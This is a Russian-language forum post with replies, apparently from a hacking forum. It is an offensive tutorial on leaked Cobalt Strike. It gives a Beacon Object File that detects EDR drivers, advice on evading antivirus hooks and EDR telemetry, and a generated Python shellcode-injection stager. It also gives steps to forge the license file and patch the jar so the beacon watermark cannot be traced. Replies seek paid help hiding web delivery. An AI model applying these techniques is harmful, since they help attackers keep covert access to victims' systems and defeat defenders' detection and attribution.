BOF (Beacon Object Files) - это довольно мощная штука и этим мы и будем в дальнейшем пользоваться... (также информацию про obj-файлы можно найти и в третье статье)
Примеров, как и информации о том, как создавать obj-файлы в интернете очень много, но далее я хочу коснуться одного момента, как обрабатывать данные полученные из BOF - как оказалось об этом мало кто знает...
А это является важной частью для автоматизации...
Возьмем для примера код (это только часть кода, полный можно найти в архиве ниже):
Код:
int __cdecl EntryPoint()
{
    //__debugbreak();
    NTSTATUS status;
    PVOID buffer = NULL;
    ULONG bufferSize = 0;

    while((status = NTDLL$NtQuerySystemInformation(SystemModuleInformation, buffer, bufferSize, &bufferSize)) == STATUS_BUFFER_TOO_SMALL || status == STATUS_INFO_LENGTH_MISMATCH)
    {
        if(buffer) KERNEL32$VirtualFree(buffer, 0, MEM_RELEASE);
        buffer = KERNEL32$VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    }
    if(NT_SUCCESS(status) && buffer)
    {
        PRTL_PROCESS_MODULES PM = (PRTL_PROCESS_MODULES)buffer;

        PCHAR output = (PCHAR)KERNEL32$VirtualAlloc(NULL, bufferSize*3, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if(output && bufferSize >= (sizeof(RTL_PROCESS_MODULE_INFORMATION)*PM->NumberOfModules))
        {
            char szSYSMODULES_OUTPUT[] = { 'S','Y','S','M','O','D','U','L','E','S','_','O','U','T','P','U','T', '\n', 0 };
            int size = sizeof(szSYSMODULES_OUTPUT)-1;
            MSVCRT$memcpy(&output[0], szSYSMODULES_OUTPUT, size);
            for(PRTL_PROCESS_MODULE_INFORMATION PMI = (PRTL_PROCESS_MODULE_INFORMATION)PM->Modules; PMI < PM->Modules+PM->NumberOfModules; PMI++)
            {
                int pos = PMI->OffsetToFileName < sizeof(PMI->FullPathName) ? PMI->OffsetToFileName : 0;
                int len = MSVCRT$strlen(&PMI->FullPathName[pos]);
                MSVCRT$memcpy(&output[size], &PMI->FullPathName[pos], len);
                size += len;
                output[size++] = '\n';
            }
            output[size] = 0;
            BeaconOutput(CALLBACK_OUTPUT, output, size);
        }
        if(output) KERNEL32$VirtualFree(output, 0, MEM_RELEASE);
    }
    if(buffer) KERNEL32$VirtualFree(buffer, 0, MEM_RELEASE);

    return 1;
}

void __cdecl go(char * args, int alen) {
    EntryPoint();
}
В BOF можно юзать API и для этого автор CobaltStrike'а создал довольно удачную реализацию.
Формат вызова API из исходного кода C++ довольно прост: KERNEL32$Sleep(1000) - указываем имя dll и API разделяя их знаком $
Прототип функции, также легко можно создать: DECLSPEC_IMPORT DWORD WINAPI KERNEL32$Sleep(DWORD);
Хочу отметь лишь то, что лучше пользоваться только теми API, которые находятся в уже загруженных модулях маяка(beacon), так как агент EDR фиксирует дополнительную загрузку новых модулей, а загрузка несистемных dll однозначно привлечет внимание антивирусных специалистов при анализе данных...

В этом примере кода, мы получаем список системных модулей, которые в данный момент работают в системе, и если модули EDR работают в данный момент в системе, то они будут в этом списке.
Для примера в коде осуществляется проверка наличия модулей виртуальных машин и если они есть, то будут подсвечиваться. (при желании, можно взять код из скрипта EDR.cna и добавить его в мой скрипт TEST.cna)
Теперь можно в этот исходный код добавить код из проекта Dumpert (или из других проектов), который подменяет syscalls для обхода юзермодных хуков антивирусов, а из проекта EDRs в результате тестов можно узнавать дополнительную информацию о хуках антивирусов.
Реализаций много, и они разные, так что каждый решает для себя какую из них выбрать и после этого остается собрать весь этот код в единое целое и можно будет при подключении маяка(beacon) к командному серверу автоматизировано детектить работающие модули EDR в системе... :)

Теперь немного деталей про код из архива, который находится в папке SCRIPTS:
Из файла Get-SysModules.cpp после компиляции можно получить как get-sysmodules.x86.o так и get-sysmodules.x64.o
Этот код из obj-файла мы можем выполнить в адресном пространстве маяка(beacon) при помощи команды: inline-execute C:\get-sysmodules.xXX.o - этот вариант можно заюзать из интерактивной консоли маяка(beacon)
Но для автоматизации нужно будет obj-файлы использовать в скрипте...
Из скрипта obj-файлы можно запустить при помощи функции binline_execute($BID, "C:\get-sysmodules.xXX.o");
Функция binline_execute получит код и данные из obj-файла, выделит(VirtualAlloc) для этого кода и данных память в адресном пространстве маяка(beacon) скопирует и инициализирует это все и после этого выполнит этот код через call reg.
Есть еще функция beacon_inline_execute, которая отличается от binline_execute параметрами и аргументами, но выполняет в маяке те же действия - используйте только эти функции против EDR...
Также важным является для obj-файлов - это какой код использовать x86 или x64, это зависит от того, какой вы создали маяк(beacon) x86 или x64.
В скрипте это все реализовано как это делают все - просто достаточно get-sysmodules.x86.o и get-sysmodules.x64.o разместить в одной директории со скриптом, остальное все будет на автомате определяться и использоваться.
Обработка полученных данных в скрипте идет через событие beacon_output - здесь фокус в том, что функции binline_execute и beacon_inline_execute не имеют возможности вызова callback функции, (как это можно сделать, например в функции bls, bps и пр.) они могут выводить данные лишь только в интерактивную консоль маяка(beacon).
beacon_output - это событие происходит, когда маяк(beacon) возвращает данные при помощи функции BeaconOutput, которую обычно используют в BOF
В beacon_output можно проанализировать данные полученные из get-sysmodules.x86.o или из get-sysmodules.x64.o (в которых используется функция BeaconOutput для возврата полученных из системы данных) и на основе этого отреагировать так или иначе...
Вообще, можно расширить возможности скрипта, ну например, сделать анализ системы, где запущен маяк(beacon) и на основе этих данных анализа сделать в скрипте проверку, а не запущен ли маяк(beacon) на аверской виртуалке с вирустотала, если да, - то рубить все концы и сигналить (например) в телегу, что возможно пора чистить маяк(beacon) или делать рекрипт...

Watermark CobaltStrike'а - это уникальная метка, которая оставляет свои следы везде, где только можно...
Давайте посмотрим, как это происходит.., если посмотреть на данные из System Information, то можно увидеть последнюю строку id 426352781 - это и есть Watermark, хотя для пользователя это выглядит как ID лицензии.
Для начала мы узнаем, что это за число в шестнадцатеричной системе счисления 0x1969A08D
Теперь чтобы понять, как помечается трафик данными четырьмя байтами нам нужно использовать этот тестовый скрипт:
Код:
import common.CommonUtils;
command stager {
    $data = artifact_stager($1, "raw", "x86");
    $data = [CommonUtils toAggressorScriptHexString: $data];
    println($data);
}
Здесь мы подключаем функционал самого CobaltStrike'а, а именно common.CommonUtils, назовем его модулем, в котором содержатся полезные функции, и которые мы можем использовать при необходимости.
Таких функций, как и классов в CobaltStrike'е достаточно много, и чтобы их описать не хватит и даже нескольких больших статей, но в данный момент не об этом, и я просто пишу информацию, чтобы вы имели представление о возможностях CobaltStrike'а...
$data = [CommonUtils toAggressorScriptHexString: $data]; - здесь мы вызываем функцию toAggressorScriptHexString из CommonUtils, которая из обычной String создаст HexString в формате Aggressor Script
Если хотите увидеть разницу в результатах, то можно просто закомментировать строку $data = [CommonUtils toAggressorScriptHexString: $data]; и понять ее значение...
В консоли aggressor> нужно ввести команду, для примера stager http, где http - это имя listener'а, а $1 это и есть номер параметра, который и будет заменен на значение http, можно также вместо "raw" написать $2, но тогда нужно будет вводить дополнительный параметр в команде stager, ну например, stager http exe
Если посмотреть на результат выполненной команды stager http (в конце данных), то можно увидеть \x19\x69\xa0\x8d что соответствует значению watermark'а CobaltStrike'а 0x1969A08D (426352781)
Можно изменить код выше, чтобы увидеть разницу между типами (exe, python, raw и т. д.) возвращаемых данных:
Код:
command stager {
    $data = artifact_stager($1, $2, $3);
    println($data);
}
И в консоли aggressor> нужно ввести команду, для примера: stager http python x86
Получив результат, в коде можно увидеть:
Код:
# 32-bit Python
if arch == "32bit":
    shellcode = "\xfc\xe8\x89\x00 ... \x19\x69\xa0\x8d"

...

# inject our shellcode
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
Более подробнее можно посмотреть информацию о параметрах artifact_stager, а также о других функциях здесь:

В переменной shellcode будет hex-строка, в конце которой будет также watermark CobaltStrike'а, то есть - здесь не добавляется в конец watermark, как в предыдущем примере, а именно вставляется в данные самого кода.
Да, - если даже трафик шифруется, то это может показаться незначительным фактом. Но тогда возникает вопрос, а зачем вообще добавлять ID лицензии?
Но суть даже не в этом, если в зашифрованном трафике получить watermark проблематично, то есть еще дополнительный вариант - такой как, добавление watermark'а во все маяки, при их создании и которые потом попадают в системы жертв.
Более того, можно получить эти данные (скажем так, теоретически) еще до того, как командный сервер начнет свою работу, то есть не зная этого...
Но даже суть и не в этом, если посмотреть на результаты в четвертой статье, то мы можем понять, что это может быть уникальной сигнатурой для детекта проактивкой.
Этот watermark настолько уникальный, что даже если поискать такую последовательность байт во всех файлах из директории C:\Windows то таких файлов там будет всего несколько из 100000
Ведь принцип скрипта на python'е понятен, - он повторяет сам принцип инжекта, на что и будет реагировать HIPS антивирусов.
То есть, в конечном счете, даже если шифровать трафик, то это никак не защитит от данных, которые попадают в память процессов, контролируемую антивирусом.
После того, как отреагируют антивирусные специалисты на подобный сигнал EDR, - как минимум доступ к системе будет потерян...

cobaltstrike.auth - этот файл обязательно должен быть в одной директории с cobaltstrike.jar и без которого CobaltStrike работать не будет, этот файл даже переименовать не получится и возникает вопрос, а зачем на сервере такое нужно?
Далее будет написано, как избавиться от этой проблемы, а также мы узнаем, что такого важного хранится внутри этого файла...

Файл cobaltstrike.auth зашифрован, а ключ от него находится в файле authkey.pub в директории resources в cobaltstrike.jar, да и вообще в CobaltStrike существует проверка, чтобы нельзя было подменить файл authkey.pub на свой
Как расшифровывать файл cobaltstrike.auth описывать смысла нет, да и в любом случае будет создаваться свой уникальный, для того чтобы избавиться от потенциальных детектов антивирусов.
Для начала, думаю, стоит описать формат данных файла cobaltstrike.auth
Код:
CA FE C0 D3 (4 байта) signature header - сигнатура, которая указывает на определенную версию CobaltStrike'а
00 4D (2 байта) data size - размер данных
01 C9 C3 7F (4 байта) - дата по истечении которой прекращается действие лицензии.
19 69 A0 8D - 426352781 (4 байта) watermark - метка лицензии, который вшивается в каждый маяк(beacon)
2B - 43 (1 байт) версия cobaltstrike
10 - 16 (1 байт) размер данных.
1B E5 BE 52 C6 25 5C 33 55 8E 8A 1C B6 67 CB 06 (16 байт) - ничего не значащие данные в этой версии cobaltstrike
10 - 16 (1 байт) размер данных.
80 E3 2A 74 20 60 B8 84 41 9B A0 C1 71 C9 AA 76 (16 байт) - ничего не значащие данные в этой версии cobaltstrike
10 - 16 (1 байт) размер данных.
B2 0D 48 7A DD D4 71 34 18 F2 D5 A3 AE 02 A7 A0 (16 байт) - ничего не значащие данные в этой версии cobaltstrike
10 - 16 (1 байт) размер данных для расшифровки файлов из директории sleeve в cobaltstrike.jar.
3A 44 25 49 0F 38 9A EE C3 12 BD D7 58 AD 2B 99 (16 байт) - данные из которых генерируется хеш "SHA256", а из этого хеша получается пара ключей: один "AES" (первые 16 байт 0:16) для расшифровки файлов, а второй "HmacSHA256" (вторые 16 байт 16:32) для проверки расшифровки данных.
Теперь мы знаем, где хранится и откуда берется watermark CobaltStrike'а - обнулить его не получится, так как в этом случае CobaltStrike будет вместо watermark'а вставлять сигнатуру EICAR
Кстати, мне вот стало интересно, а как будут реагировать на EICAR антивирусы, сделал тестовый сэмпл и вот на тех антивирусах что проверял... короче, антивирусы никак не реагировали на наличие в файле EICAR - хз. может как-то неправильно сделал тесты, но похоже эти глупости, как и EICAR остались в прошлом... (непонятно только зачем все это делает сам автор CobaltStrike'а)
ВАЖНО: советую последовательность байт 19 69 A0 8D изменить на что-то очень часто встречающее и избегать уникальных данных, по которым можно создать уникальную сигнатуру для нахождения/отслеживания ваших маяков(beacon) - незабываем, что все маяки помечаются этим watermark'ом
Для начала нам нужно сгенерировать новый authkey.pub, а потом зашифровать им измененные данные в файле cobaltstrike.auth
Так как код генерации немного большой, чтобы его тут постить, я этот код (как и другие файлы) добавил в архив, который можно скачать ниже.
Код создания новых файлов написан на JAVA, поэтому нужно будет из него собрать модуль jar, как это сделать в интернете полно статей, расписывающих этот процесс от и до даже для самых далеких от этой темы людей...
В архиве также есть расшифрованный файл cobaltstrike.auth достаточно в нем сделать нужные изменения, (можно не только изменять watermark CobaltStrike'а, а допустим, сигнатуры и версии для соответствующих версий CobaltStrike'а и т. д. ведь это же не последняя слитая версия в паблик будет, хотя неизвестно какие еще "подлянки" в будущих версиях сделает автор CobaltStrike'а)
Далее запускаем утилиту GenAuth.jar с параметрами:
Код:
java.exe -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -Dfile.encoding=UTF-8 -classpath ./GenAuth.jar Create C:\SERVER\cobaltstrike.auth
pause
В результате на выходе получим два файла new.authkey.pub и new.cobaltstrike.auth, но для того чтобы их использовать, нужно еще дополнительно проделать несколько действий:
Для того чтобы подменить файл authkey.pub в cobaltstrike.jar (в директории resources) на новый (new.authkey.pub) еще нужно изменить MD5 этого файла, который проверяется в AuthCrypto.class
В обычном hex-редакторе нужно найти в файле AuthCrypto.class из cobaltstrike.jar строку 00d1e07c119fac491b779561da22de31 - это MD5 файла authkey.pub, и нужно заменить эту строку на новую, а именно на MD5 обновленного new.authkey.pub
После того как будет пропатчен файл AuthCrypto.class им нужно будет заменить старый - подробно как патчить и заменять файлы в cobaltstrike.jar описано в четвертой статье в конце первой части...

Ну и на последок, нужно переименовать cobaltstrike.auth, чтобы на сервере не было видно имени данного файла, MD5 данного файла естественно изменится, после того как будет сгенерирован новый. (и естественно cobaltstrike.auth нужно будет обязательно удалить.)
В нашем случае все эти манипуляции нужно проделать над новым new.cobaltstrike.auth (не забывайте про длину строки), можно для примера, назвать его gradle.properties
Подробно как патчить cobaltstrike.jar описано в четвертой статье, но хочу лишь указать, где нужно это сделать чтобы изменить cobaltstrike.auth на новое имя файла gradle.properties, хотя это достаточно просто сделать, но все же...
Нужно изменить строку cobaltstrike.auth на новое имя файла gradle.properties в файле Authorization.class, который находится в директории common в cobaltstrike.jar (хочу подметить, что длинна строки cobaltstrike.auth не должна быть меньше, а тем более больше)
 

Вложения

  • CS-1.zip
    8.5 КБ · Просмотры: 172
Пожалуйста, обратите внимание, что пользователь заблокирован
Как на Cobalt strike отключить web delivery чтобы не палиться по aaa9 ?
Имеется в виду путь до файла? Там же можно задать любой путь вручную.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Имеется в виду путь до файла? Там же можно задать любой путь вручную.
Любой путь палится, надо как-то вовсе удалить или отключить вэбделивери, есть умельцы? Если есть то в ПМ пожалуйста за хорошее $$$
 
Вообще тема создания listener'ов как и создания маяков(beacon)/артефактов и т. д. довольно обширная и там много подводных камней и нюансов, поэтому более подробно об этом читайте во-второй статье...
где прочитать 2ую часть? не нашёл достойных реверс обзоров на бекон(в бурже тоже искал). Начал сам ковырять. Закопался на старте, как после sysenter в памяти появляется все внешнии dll модули и создаются 12потоков.
 
где прочитать 2ую часть? не нашёл достойных реверс обзоров на бекон(в бурже тоже искал). Начал сам ковырять. Закопался на старте, как после sysenter в памяти появляется все внешнии dll модули и создаются 12потоков.
присоединяюсь к вопросу
 
Пожалуйста, обратите внимание, что пользователь заблокирован
О судьбе второй части - читайте в следующих частях
где прочитать 2ую часть? не нашёл достойных реверс обзоров на бекон(в бурже тоже искал). Начал сам ковырять. Закопался на старте, как после sysenter в памяти появляется все внешнии dll модули и создаются 12потоков.

присоединяюсь к вопросу
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх